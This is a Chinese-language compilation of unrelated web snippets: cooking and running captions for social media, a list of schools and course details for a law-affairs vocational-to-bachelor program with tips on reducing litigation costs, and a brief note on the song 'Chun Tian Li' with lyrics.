每天都在挑战自己的厨艺极限，今天我尝试了做一道复杂的家常菜，没想到成功了我相信只要不断努力，我的厨艺会越来越好！ 5. 做饭是生活中最有趣的事情之一，每次在厨房里创造出美味的菜肴，都能让我感到无比的快乐。今天我做了自己喜欢的小炒肉，口感鲜美，美味无比！ 6. 做饭是一种艺术，我在厨房里感受到了创作的乐趣。今天我尝试了自己的手艺，做了一份令人垂涎欲滴的烤鱼，得到了家人的一致好评！ 7. 每次在厨房里忙碌，都是我一天中最放松的时刻。今天我做了自己喜欢的一道汤品，材料丰富，口感浓郁，感觉自己成为了一个小小的美食家！ 8. 厨艺不是天生的，需要不断努力和尝试。今天我尝试了做一道西餐，虽然过程复杂但是看到家人的满意表情时成就感满满。 希望这些文案可以帮助你更好地表达自己对做饭的热爱和厨艺的自豪感。 ...

跑步会让自己觉得更加充满力量，很多人开始把跑步当作磨难，现在把跑步当作习惯，跑步如风。你知道跑步发朋友圈怎么写吸引人吗？请您阅读我辑为您我整理的“跑步发朋友圈文案简短（通用80句）”欢迎您阅读和收藏，并分享给身边的朋友！ 1.为了到达终点线，你必须尝试很多不同的路线。 2.相信你自己，了解你自己，否定你自己，做个谦卑的人。 3.心理意志是需要锻炼的肌肉，就像身体的肌肉。 4.最好的跑步态度：不高估跑步的好处，不低估伤病的危害。 5.跑步锻炼的不是体能而是意志。 6.在宇宙中，你再快都有比你更快的，你再慢也有比你更慢的。 7.口渴只是一刻，疲倦只是一时，荣耀却是一生。 8.生命的重点不在于获胜而在于打得漂亮。 9.一个人上班，一个人住，一个人跑步，一个人开车，所有的都开心。 10.跑步不会死，但是不跑我想死！ 11.喜欢跑步的人很多，但天天跑步的人不多，拥有梦想的人很多，但坚持梦想的人不多。 12.正如人生，只有不停奔跑，才会看到奇迹。生活也同理！ 13.没有足够勇气冒险的人将会一事无成。 14.我和任何人一样有很多疑虑。站在起跑线上，我们都是懦夫。 15.跑步，游泳，烘培，看书，整理简单的人际关系，好好的陪伴你们！ 16.走路能使你童颜常在，运动有使你青春永驻。 17.我喜欢跑步，心情不好的我，更喜欢用跑步当成我的发泄武器！ 18.看到阿走跑步时的矫健英姿，全身上下在高速运转显露出的悠然自得，尽管相识了解已久，但看到这个似乎是为跑步而生的男人在全力奔跑时，青濑依然为之折服。 19.跑步的好处就是可以把怒气发泄到汗水中，还能提高速度 20.我爱跑步，因为可以拍照片。以前上班光顾着赶紧跑，现在有了闲暇，发觉大自然太美了。 21.跑步真的是发泄情绪很好的方式，带着耳机，好像与世隔绝一样，汗水眼泪都挥发了。 22.这辈子能坚持的只有跑步和赚钱了，只喜欢一个人是不可能的。 23.已经坚持跑步大概两周了，虽然做不到每天都跑，但是有空就跑基本是做到了。 24.跑步是一种独特的体验，它融合了人类的两种原始冲动：恐惧与快感。无论是害怕了还是快活了，我们都会去跑步。既是奔跑着逃开不幸，也是奔跑着追寻幸福。 25.我要学着用跑步去发泄坏情绪，而不是被坏心情影响跑步效果。 26.心情好时用跑步来庆祝，心情不好时用跑步来发泄。开跑就赢了！ 27.有些你舍不得打扰的情绪，都可以用跑步的方式去自我发泄。 28.我失恋的时候我要去跑步，因为跑步是能够把我体内多余的水分蒸发掉，那样比较不容易流泪。 29.不想变成胖大海就要坚持跑步。 30.无论发生什么！一个人还是两个人！答应自己要快乐！！！用跑步发泄出来的感觉远远比哭发泄出来的感觉来得好！！接下来的日子请继续努力吧 31.心情不好，只能用跑步来发泄。 32.每天坚持跑步，享受晨跑的快乐哦！ 33.最近几天，连续被在同一条路上跑步的陌生人搭讪。可能只是闲聊几句每天过来跑步都挺晚的，这种话，内心不自觉得觉得很暖心。 34.每天早上在跑步的路上，都能碰到相同的人，在做着相同的事，也许这就是习惯与坚持。 35.最近压力有点大，莫名烦躁，跑一跑发泄发泄好多了 36.得有这么一件事，是你热爱的，是你坚持的跑步。 37.晚上出来跑步，和妈妈妹妹一起，心情不好就用跑步来发泄出来吧 好久没有穿这么运动出门过了。 38.每天都以跑步开始，以喝着啤酒处理着工作邮件结束。昨日又是满满的一天。 39.用日记来记录心情，用跑步来发泄内心，当你能够和一本日记，一颗绿植说悄悄话的时候，哪里还有什么孤独。 40.每天打着跑步的旗号绕着小吃街走一圈，不胖才怪。 41.减肥第二天，加油加油早晨五点起来运动了半小时再坚持晚上跑步一小时。 42.心情极度抑郁的时候，跑起来，望一望风景，好像可以发泄一下 43.我们在青春的道路上不断奔跑，忘记停下脚步看看风景。 44.今日份运动！每一次跑步都是对我心灵和颈椎的释放 45.每天坚持读书、跑步、敷脸、泡脚成为了我的生活方式，偶尔做做饭，也是一种乐趣吧。 46.青春是一个不可思议的伟大力量。它催发着青年人的躯体，不断向前奔跑。 47.最好的习惯就是运动。运动其实是一种放松，一天工作后的身体的释放，大脑的放空。在鸟语花香的运动场，感受快乐和谐。 48.摔跤了，不要哭，再爬起来，站直一笑，拍拍尘灰，继续奔跑。 49.慢跑是自我认知和释放的过程。持之以恒你会发现，爱上的就是运动本身！ 50.坚持跑步五个月，裤子肥了一大圈，我是该高兴呢还是高兴呢还是高兴呢。 51.一小时的私教+半小时有氧，工作忙碌，心情烦躁，运动能释放压力，使我快乐。 52.跑步有节奏地调整呼吸，五步一吸气、五步一呼气，汗水滑落，湿透衣裳。 53.爱上了跑步，每天吃好晚饭都会去河边跑，你也要经常锻炼身体哦！ 54.真好睡不着，那就起来跑步吧，我爱运动，运动使我快乐。 55.一个人在操场上跑步，心里很平静，我就知道，在孤单的这条河里，我已学会了游泳。 56.在跑步机上跑来跑去，也没有跑出去过一次。距离不断增加，人还呆在原地。 57.运动就是坚持，因为跑步，今天的步数又突破了两万步。 58.最近一周有点飘，需要运动，需要跑步，需要游泳，需要跳舞，需要动起来！ 59.突然发现，以后在跑步累个半死的时候，是再也不会有人给我加油了。 60.老公带着小朋友出去玩了，这两天坚持早起跑步，晒黑就晒黑，健健康康的才是美。 61.每天晚上坚持看书早上每天坚持走路或者跑步， 加油吧自己， 每天让自己的生活充实起来。 62.坚持六点前早起跑步第五天，坚持从来都是一种靠毅力的事情，早起多一点毅力，坚持就会更加久一点，继续加油。 63.青春是一种奔跑。朋友啊！珍惜青春。 64.一个人坚持跑步一周不难，坚持学英语几天不难难的是把优秀养成习惯，坚持7、8个月，坚持一年，坚持更久。 65.这麽多年了，还能看见你向幸福奔跑的背影，挺好的。 66.生活是无路的荒土上奔跑的脚踏车，无障碍顺畅时你会很愉快。 67.青春象一只铜铃，系在我们的手臂上，只有不停地奔跑，她才会发出悦耳的声音。 68.跑步的过程，就是不断进取的过程。 69.跑步让我明白人生就像一场马拉松。 70.让最猛烈的孤独陪伴你的跑步之旅！ 71.用快乐去奔跑，用心灵去倾听，用思维去发展，用努力去奋斗，用目标去衡量，用大爱去生活。 72.我所做的只是在自己炮制的惬意的空虚和怀旧的静默中不断奔跑，这是一件很美妙的事，不管别人怎么说。 73.青春就是疯狂的奔跑，然后华丽地跌倒。 74.如果想哭就去跑步，把泪水变成汗水蒸发掉。 75.最美的一天，早上去跑跑步，回来吃个饭，中午看会书，懒洋洋睡个午觉。 76.跑步，让我不再轻易迷失在各种诱惑里，不再回过头去关心身后的种种是非与议论。 77.最美的一天，早上去**步，回来吃个饭，中午看会书，懒洋洋睡个午觉。 78.“砰，地一声，一颗红色信号弹腾空而起，场上身穿各色衣衫的运动员，“刷”地从起跑线飞出去，像一片彩云。 79.你已经坚持跑了这么远，就不要轻易放弃。要跑得久远，需要付出极大忍耐，一不抱怨，二不解释。忘掉所有那些“不可能”的借口，去坚持那一个“可能”的理由。让最猛烈的孤独陪伴你的跑步之旅！ 80.她飞跑着，两条腿像钟摆一样机械地抬起落下，又抬起，再落下。 关于跑步的文案（精选78句） 1.跑步教会我的是自律，是克制，是不放弃，是死磕到底。 2.一个人在操场上跑步，心里很平静，我就知道，在孤单的这条河里，我已学会了游泳。 3.做一个幸福的人，读书.跑步.努力工作，关心身体和保持好心情，成为最好的自己。 4.有时去跑跑步。喜欢跑步，喜欢倾听耳边的啾啾虫鸣；喜欢耳边的习习凉风；喜欢思想的天马行空；喜欢跑步时的大汗淋漓；喜欢肆意自由而急促的呼吸；喜欢冲刺时的感觉和喜悦。 5.跑步是一种独特的体验，它融合了人类的两种原始冲动：恐惧与快感。无论是害怕了还是快活了，我们都会去跑步。既是奔跑着逃开不幸，也是奔跑着追寻幸福。 6.我爱跑步，因为不仅可以锻炼身体，而且可以放松身心，还能看风景。从那以后，我爱上了跑步，每天吃好晚饭都会去河边跑，你也要经常锻炼身体哦！ 7.跑步的时候，不要有太高的期待，把握好每个跑步的细节，往往会有好的成绩；人生没有太高的要求，关注到每个成长的细节，往往会有超出预期的成就。 8.我去跑步不纯粹是一种体育锻炼，从一定意义上讲，它也是一种职责，一种生活必需，或者说一种精神追求。 9.喜欢跑步，在跑步中能让自己想通许多的问题。 10.一路跑过去，一路享受清新宁静的感觉，速度并不快，有节奏地调整呼吸，五步一吸气五步一呼气，汗水滑落，湿透衣裳。 11.你已经坚持跑了这么远，就不要轻易放弃。要跑得久远，需要付出极大忍耐，一不抱怨，二不解释。忘掉所有那些?不可能?的借口，去坚持那一个?可能?的理由。让最猛烈的孤独陪伴你的跑步之旅！ 12.跑步的真谛是越跑越痛快，跑下去，让软弱离开身体。 13.突然发现，以后在跑步累个半死的时候，是再也不会有人给我加油了。 14.如果想哭就去跑步，把泪水变成汗水蒸发掉。 15.一直在原地的运动是踏步，往前的是跑步，但是生活为什么永远为一样东西原地踏步呢！ 16.跑步，节食，规律生活，健康作息，有点情趣的爱好，有点奢侈的享受，一样都不能落下。 17.一个人坚持跑步一周不难，坚持学英语几天不难，难的是把优秀养成习惯，坚持7.8个月，坚持一年，坚持更久。 18.我失恋的时候我要去跑步，因为跑步是能够把我体内多余的水分蒸发掉，那样比较不容易流泪。 19.如果你想强壮，跑步吧！如果你想健美，跑步吧！如果你想聪明，跑步吧！ 20.太阳每天都是新的，而新的太阳总会给我们以新的希望。虽然已经退休，但我们同样需要和年轻人一样去奋斗，去拼搏，去创造。同样需要去歌唱，去舞蹈.去跑步。 21.跑步，让我不再轻易迷失在各种诱惑里，不再回过头去关心身后的种种是非与议论。不去顾及已经走过的路，我要向前走。 22.总是很喜欢跑步，想必生来就喜欢。经常一个人走着走着就拔腿跑了起来，并且每次都故意装出一副要赶赴火灾现场的样子，害走在路旁的路人甲都替我捏一把汗，以为哪出事故了。呵，其实我只是喜欢跑步而已。 23.最美的一天，早上去跑跑步，回来吃个饭，中午看会书，懒洋洋睡个午觉，晚上帮奶奶烧火做饭，晚上陪家人看看电视，10点刷牙睡觉。 24.最好的跑步，就是你在一个陌生的地方，发现一种久违的感动。独自跑步，不受羁绊，没有约束。有一天，穿上跑鞋，带上自己，有多远，跑多远。 25.瞧，百米跑道上，运动员们个个摩拳擦掌，跃跃欲试。?砰！?随着发令枪响，他们立刻像一匹匹脱缰的小马，飞快地从起跑线上直冲出去。 26.他像一匹成熟期的马马句吊头急奔：步幅匀称，少频紧凑，蹬动有力，腰肢放松?整个动作显得优美而富有弹性。 27.跑步让我明白人生就像一场马拉松。如果你犹豫了，别人就会轻而易举的超过你，如果你不顾阻碍不顾一切地冲向终点，最后你就会获得成功，享受成功的喜悦。 28.他越跑越起劲儿，其他队员也不甘落后，拼命追赶，个个气喘吁吁，汗流浃背。 29.枪响了，我一个箭步窜了出去，使出全身的力气奔跑着，耳边风声呼呼响。 30.?砰，地一声，一颗红色信号弹腾空而起，场上身穿各色衣衫的运动员，?刷?地从起跑线飞出去，像一片彩云。 31.她飞跑着，两条腿像钟摆一样机械地抬起落下，又抬起，再落下。 32.太阳每天都是新的，而新的太阳总会给我们以新的希望。虽然已经退休，但我们同样需要和年轻人一样去奋斗，去拼搏，去创造。同样需要去歌唱，去舞蹈.去跑步。 33.我背起书包，三步并作两步飞奔出家门口，要不然迟到可就要挨老师批评了。 34.总是很喜欢跑步，想必生来就喜欢。经常一个人走着走着就拔腿跑了起来，并且每次都故意装出一副要赶赴火灾现场的样子，害走在路旁的路人甲都替我捏一把汗，以为哪出事故了。呵，其实我只是喜欢跑步而已。 35.曾有人对我说过，跑步是最简单的运动，只是一直一直重复着相同的动作罢了。而我则一脸轻快地赞同，他说的的确没错，但每当我跑完步累得气喘吁吁瘫坐在草地上，总会对当初他那种轻松不屑的语气咬牙切齿。 36.?加油！?快跑！坚持住！喝彩声.叫喊声连成一片，大家仿佛要通过这大声的喊叫，把自己的全部力气都给正向着终点冲刺的运动员。 37.跑步的过程，就是不断进取的过程。跑步中，我强烈感受到了青春活力的跃动。于是，每一天的议事日程，我都要作这样一个安排：早晨，我去跑步。 38.运动员个个精神振奋，脚下呼呼生风，像离弦的箭一样向前飞奔。 39.随着裁判的一声枪响，运动员们纷纷跃出起跑线，像离弦的箭一样向前冲去。他们互不相让，跑道上尘土飞扬，仿佛海水涨潮一样汹涌而来。 40.我爱跑步，因为不仅可以锻炼身体，而且可以放松身心，还能看风景。从那以后，我爱上了跑步，每天吃好晚饭都会去河边跑，你也要经常锻炼身体哦！ 41.太阳每天都是新的，而新的太阳总会给我们以新的希望。虽然已经退休，但我们同样需要和年轻人一样去奋斗，去拼搏，去创造。同样需要去歌唱，去舞蹈去跑步。 42.看！他向前猛跑几步，到了踏板跟前，脚用力一蹬，身子用力一弓，同时。胳膊向后一摆，身子向前一跃，像猛虎扑食一样腾空而跃起，然后轻轻地落到松软的沙坑里。 43.冲出起跑线时，几名运动健儿还是并驾齐驱，几乎是笔直的一字行，可转眼之间就拉开了距离，形成了不规则的曲线。 44.两人几乎同时撞线，如一阵疾风一样，裁判员惊讶得发呆，过了一会儿才醒悟过来。 45.起跑后，经过几分钟的拼搏，他把所有的对手远远地甩在后面，以冠军的姿态轻松而豪迈地在跑道上奔跑，冲向最后的目标。 46.喜欢跑步，喜欢体验跑步过程中的坎坎坷坷，喜欢跑步时的大汗淋漓，喜欢肆意自由而急促的呼吸，喜欢倾听耳边的啾啾鸟鸣，喜欢思想的天马行空，喜欢耳边的习习凉风，喜欢冲刺时的顺利与喜悦。 47.一路跑过去，一路享受清新宁静的感觉，速度并不快，有节奏地调整呼吸，五步一吸气五步一呼气，汗水滑落，湿透衣裳。 48.有时去跑跑步。喜欢跑步，喜欢倾听耳边的啾啾虫鸣；喜欢耳边的习习凉风；喜欢思想的天马行空；喜欢跑步时的大汗淋漓；喜欢肆意自由而急促的呼吸；喜欢冲刺时的感觉和喜悦。 49.天冷了，许多同学围上围巾，戴上帽子，还是觉得冷：跑步的同学，有的半弓着背，缩着脖子，有的不时哈气暖手，从嘴里吐出团团白气。 50.嗬，好家伙！他这一跑起来，你就看不见他的腿怎样抬.怎样落，连一点响声都听不见，真比鹰追兔子还快。 51.她们动作协调有力，在冰面上轻快地飞驰，仿佛两只飞燕，在紧贴地面飞翔，你追我赶，互不相让。 52.跑步的过程，就是不断进取的过程.跑步中，我强烈感受到了青春活力的跃动。于是，每一天的议事日程，我都要作这样一个安排：早晨，我去跑步。 53.我跑着，听着鞋子摩擦地面的沙沙声，感觉细细密密的汗珠一点点沁满我的额头，然后放任汗水在背上静静的流淌。有时抬头看见天幕上几颗星零落的挂着，有时月亮很圆，有时却只露出一小半张脸，有时夜空笼罩着沉沉暮霭，有时天空很清楚，却什么也没有，只有城市映照的黄晕的灯光。 54.妹妹没命地跑呀，快跑到我眼前了，我忙闪身出来，妹妹一头撞在我怀里了。 55.他的两条腿犹如装上车轮一样，走得飞快。 56.何谓保守？就是过于恐惧而不敢战斗，过于肥胖而不能奔跑。 57.他跑起来的速度就像坠落的陨石。 58.不远处，正在举行一场跑步比赛，场上的运动员正积极的准备着?老师哨子一吹，枪声一响。队员们就奋力的向前跑去。 59.晚上，我和小伙伴们在广场上比赛跑步。其中一个小朋友用扇子当做指令，扇子一摆，我们就像一只只猎豹似的跑动起来。 60.青春象一只铜铃，系在我们的手臂上，只有不停地奔跑，她才会发出悦耳的声音。 61.大步流星，疾走如飞，两脚生凤，健步如飞。 62.看那田径赛场上的运动员，也个个摩拳擦掌，毫不示弱。?叭?的一声，发令枪响了，运动员们像离弦的箭一样，飞快地跑向了终点，一场激烈的比赛马上就要开始了。 63.跑步的过程，就是不断进取的过程。跑步中，我强烈感受到了青春活力的跃动。于是，每一天的议事日程，我都要作这样一个安排：早晨，我去跑步。 64.一路跑过去，一路享受清新宁静的感觉，速度并不快，有节奏地调整呼吸，五步一吸气.五步一呼气，汗水滑落，湿透衣裳。 65.她就像一只轻盈的燕子，早飞得没影儿了。 66.第3圈了，我呼吸困难，张大了嘴，鼻翼撑得难受，两眼发黑，胸口奇闷，两条腿沉得再也抬不起来。 67.有时去跑跑步。喜欢跑步，喜欢倾听耳边的啾啾虫鸣；喜欢耳边的习习凉风；喜欢思想的天马行空；喜欢跑步时的大汗淋漓；喜欢肆意自由而急促的呼吸；喜欢冲刺时的感觉和喜悦。 68.他就像火箭一样向我冲来。 69.人生的遗憾，不是曾经跌过多少跤，而是不曾疯狂过，不曾奔跑过。 70.我这辈子都在不停地奔跑，不停地逃离，我以为我不在乎，因为没有什么是不能被代替的，直到遇见你，我不想跑了，你是不能被代替的，从来都不是谁的影子。 71.她接过接力棒，像脱缰的野马一样，急速地向前奔去。 72.跑步是一个过程，一个享受的过程，所有的朋友伸伸懒腰都来跑步吧，沐浴清晨的第一缕阳光，贪婪的吮吸着青草的芳香，感受着露珠的生机，一起来跑步吧，给生命另一抹亮丽的色彩? 73.曾有人对我说过，跑步是最简单的运动，只是一直一直重复着相同的动作罢了。而我则一脸轻快地赞同，他说的的确没错，但每当我跑完步累得气喘吁吁瘫坐在草地上，总会对当初他那种轻松不屑的语气咬牙切齿。 74.跑步让我明白人生就像一场马拉松。如果你犹豫了，别人就会轻而易举的超过你，如果你不顾阻碍不顾一切地冲向终点，最后你就会获得成功，享受成功的喜悦。 75.冲出起跑线时，几名运动健儿还是并驾齐驱，几乎是笔直的一字行，可转眼之间就拉开了距离，形成了不规则的曲线。 76.奔跑，累了可以休息，粗重的气息可以平缓? 77.让生命奔跑起来，希望像阿甘那样的奔跑。阿甘是一个很简单的人，他智商很低，他所经历的每一阶段都不被常人看好，但阿甘坚持着一个简单的信念：?奔跑，向前奔跑！?他把自己仅有的智慧和勇气集中在一点，他什么都不多想，只是凭着直觉在路上不停地跑。他跑过了儿时同学的歧视.跑过了大学的足球场.跑过了炮火纷飞的越南丛林.跑遍了全美国.跑到了珍妮身边，并且最终跑到了人生成功和幸福的终点。 78.马是奔跑的冠军，驴是行走的模范。马背上的骑手威风，驴背上的骑手惬意。 ...

随着国家对于法律人才的需求，越来越多的考生报读法律专业了，特别是法律事务专业，而想要报读的考生都是比较关心哪所学校比较好的吧，以下是我为你整理的法律事务对口升本的学校相关资料，希望大家喜欢! 法律事务对口升本的学校 　法律事务 山东省工会管理干部学院   　法律事务 四川师范大学文理学院   　法律事务 山东科技大学泰山科技学院   　法律事务 衡水学院   　法律事务 西昌学院   　法律事务 安顺学院   　法律事务 深圳职业技术学院   　法律事务文科 江西警察学院   　法律事务(法庭速录) 北京工业职业技术学院   　法律事务(文理兼收) 景德镇学院   　法律事务 中南财经政法大学武汉学院   　法律事务 广东财经大学华商学院   　法律事务 广东科学技术职业学院   　法律事务 武汉东湖学院   　法律事务 石家庄城市职业学院   　法律事务 北京青年政治学院   　法律事务 濮阳职业技术学院   　法律事务 苏州市职业大学   　法律事务 南京交通职业技术学院   　法律事务 江西财经职业学院 法律事务专业简介 　专业培养目标：本专业以理论与实践结合、提高学生整体素质为宗旨，以培养学生的法律实务应用能力、适应用人单位需求、保障学生充分就业为导向，突出?理论教学精当、强化技能培养、多种素质复合、就业方向灵活?的专业办学特色，以?实际、实用、实践?和?必需、够用?为出发点，不断优化课程结构，逐步建立与专业培养目标相适应的理论教学体系，着力培养适应市场经济需要、能够熟练掌握理论知识和专业技能、善于运用法学理论和法律知识分析解决问题的高级复合型人才。   　专业核心能力：法律文书写作技能、法律文秘综合技能、法律服务综合技能。   　专业核心课程与主要实践环节： 法理学、宪法、法制史、刑法、民法、商法、经济法、民事诉讼法、刑事诉讼法、行政法与行政诉讼法、法律实务、合同法、知识产权法、婚姻法、公司法、劳动法等。在实践能力培养方面，主要组织模拟法庭、法理辨析、法律文案实训、认知实习、毕业实习、顶岗实习等。   　就业方向： 经过本专业学习和能力培养的毕业生就业渠道广泛，可通过定向套读本科等方式取得本科文凭从而参加司法资格和研究生招生考试，可到党政机关、司法部门、法律事务所、企事业单位从事法律服务、法律文秘及行政管理等工作。 法律事务省钱技巧 　1. 预防纠纷发生。要想省钱，最根本的办法是别打官司。司法程序严谨周密，但硬币的另一面就是繁琐冗长。只要进入司法程序，当事人不可避免受到资金、精力消耗。起诉时，律师费、诉讼费、保全费、送达费等诸多费用都要原告预交。赢了官司、顺利执行还好，一旦遇到对方是老赖或一穷二白，这笔钱可能就成了新的坏账了。那么，如何预防呢?   　(1)学习基本法律常识。例如熟悉房屋租赁买卖合同、车辆买卖合同、借款合同、劳动和劳务合同、赠与合同，了解夫妻财产制度、遗产继承、侵权损害赔偿、行政处罚及复议等方面的主要法律规定。这将有助于避免绝大多数法律纠纷、降低法律成本。   　(2)避免高危法律行为。有人为了钻空子、打擦边球，或只顾眼前利益，不惜冒着巨大风险，采取高危法律行为牟取利益。例如，买卖合同中签所谓?阴阳合同?，参与高利民间借贷活动，公司经营中为逃税采用两套账本、应收款打到个人账户，租房买房选择小中介、黑中介，贪图便宜购买质量无保障的消费品等。这些行为的特点是，只要不出事，你可以沾沾自喜、爽爆了;只要一出事，就可能惊天动地、血本无归。后面这种情况下，想不打官司都难，但打了官司也难。   　(3)加强自我修养，避免冲动急躁情绪。日常生活中遇到纠纷、口角、争执，始终坚持让一步海阔天空、动嘴不动手、见好就收的行为准则。对朋友之间的经济来往，也要避免头脑发热、脑子抽筋，始终做到理性冷静。   　2. 请个好律师(这里的律师是广义概念，泛指律师、法律工作者、有法律知识的社会人士等)。请律师要花钱，但这笔钱是物超所值的。一位好律师不仅可以为你省时省心，还能为你挣钱、省钱，该拿到的钱一分不少、可以争取的多多益善。即便这点律师费，胜诉后还能找被告报销全部和大部分。所以，请律师不要太吝啬。   　那么，好律师的标准是什么?12个字，业务精通、人品可靠、全力投入。好律师?贵律师、老律师、名律师。绝大多数案子，律师挣的都是跑腿钱，所以人品和精力投入有时候更重要。即便需要业务技巧，小律师也未必逊色于大律师。   　3. 别走旁门左道。有人社会经验?丰富?，脑子里总有一根花钱办事、送礼摆平、关系开路的弦。遇到法律纠纷，哪怕自己在情理法上都站得住，也要想方设法?搞定?法官。有了这种想法，花起钱来可是无底洞。每一个环节都要打点表示，最后能不能?搞定?法官还是未知。社会上还有很多专业混子、骗子，把自己包装成手眼通天的奇人，左右法官判案甚至捞人、平事儿简直都不在话下。你越想走旁门左道，越有可能被这帮人骗成孙子。   　要补充一点，你给法官送钱，超过一定金额可能涉嫌行贿犯罪，同等金额情况下，还要加重处罚哦。   　4. 诉讼请求要于法有据，避免?漫天要价?。我国的民事案件，律师和法院一般都按诉讼标的收取代理费和诉讼费(法院对涉及人身关系的少数民事案件实行规定价格)，而且诉讼费需要原告在立案时垫付。这样一来，原告的代理费和诉讼费成本都会比较高。实际判决时，法官会酌情考虑诉讼费的分担问题。原则上是败诉方承担诉讼费，如果原告起诉金额明显过高、部分请求缺乏法律依据，法官也会判令原告自行承担部分费用。   　现实中，少数律师为了多收代理费，往往鼓动当事人把诉讼标的搞得很高，实际给当事人增加了诉讼成本。   　5. 积极申请诉前保全或诉讼保全。尽管现在法院执行力度空前加强，但对一些狡猾的老赖，还没有太多好办法。向对方送达应诉手续前，如果能对被告银行存款、有价证券、公司股权房屋产权等进行冻结、查封，将对案件审理和后续执行起到神奇效果。反之，如果找不到对方可供执行的财产，即便赢了官司，想拿到钱也很难。需要说明的是，诉前保全或诉讼保全都需要原告提供相应担保，还要缴纳保全费用。简言之，保全是有成本的。当然，这个钱花得性价比极高，还是推荐大家采取行动。   　6. 积极参与调解。民事案件审理过程中，法官一般都会询问当事人是否愿意调解。不少人对调解的价值认识不到位。总以为调解就是低头让步、认怂服软，对自己的利益没什么好处。实际上，民事调解不仅省钱(诉讼费减半收取)、省时间(达成调解协议，无需再经历漫长复杂的庭审程序)，而且完全可以实现原被告的双赢效果。   　7. 积极协助法院办理案件。本轮司法改革采取立案登记制以来，案件数量持续增长，法院压力很大。这种情况下，当事人要想节约诉讼成本、加快案件节奏，可以在案件审理过程中扮演更加积极主动的角色。例如，被告逃避债务、下落不明的，送达各类法律手续和文书就是个麻烦事儿。法官一般会去他的户籍地、居住地、工作单位等地方了解情况或邮寄材料。除此之外，很难有其他办法。如果确实找不到人，那只能公告送达、缺席审理。即便赢了官司，执行的时候，还是面临同样的困境，无形之中增加了原告的诉讼成本、消耗了更多司法资源。这时候，建议原告通过定点蹲守、走访邻里等方式，尽量寻找被告下落，向法官提供更多有价值信息。这会大大加快办案节奏。   　8. 别当老赖。如果您是被告，已经被生效判决确定承担法律责任，那还是建议您尊重法院判决。如今全国法院的执行力度可谓空前，拒不履行生效判决裁定，可能会面临司法拘留甚至刑事处罚。对那些隐匿财产、外出躲债的?老赖?，也有了更多限制措施，例如禁止高消费、禁止乘坐高铁飞机、纳入征信黑名单，甚至为你专门定制?老赖彩铃?等等。下一步，国家信用体系不断完善，赖账的成本也越来越高昂，赖账的成本会越来越高昂。如果赖了半天，最后被强制清偿债务，这段时间新增的债务利息等也不是个小数目，何苦呢?   猜你喜欢： 1. 法律事务专业论文 2. 法律事务部职能 3. 法律事务部工作计划 4. 集团法律事务管理办法 5. 法律事务部职责和范围 ...

《春天里》。根据查询酷狗音乐软件得知，《春天里》是由赵丹演唱，歌词节选：春天里来百花香郎里格朗里格朗里格朗，和暖的太阳在天空照照到了我的破衣裳朗里，格朗格朗里格朗穿过了大街走小巷，为了吃来为了穿昼夜都要忙。赵丹演唱、关露作词、贺绿汀作曲的《春天里》节奏明快，渲染出了青春的活力，尽管这种活力在时代的苦难面前是那么的不易为人发现。 ...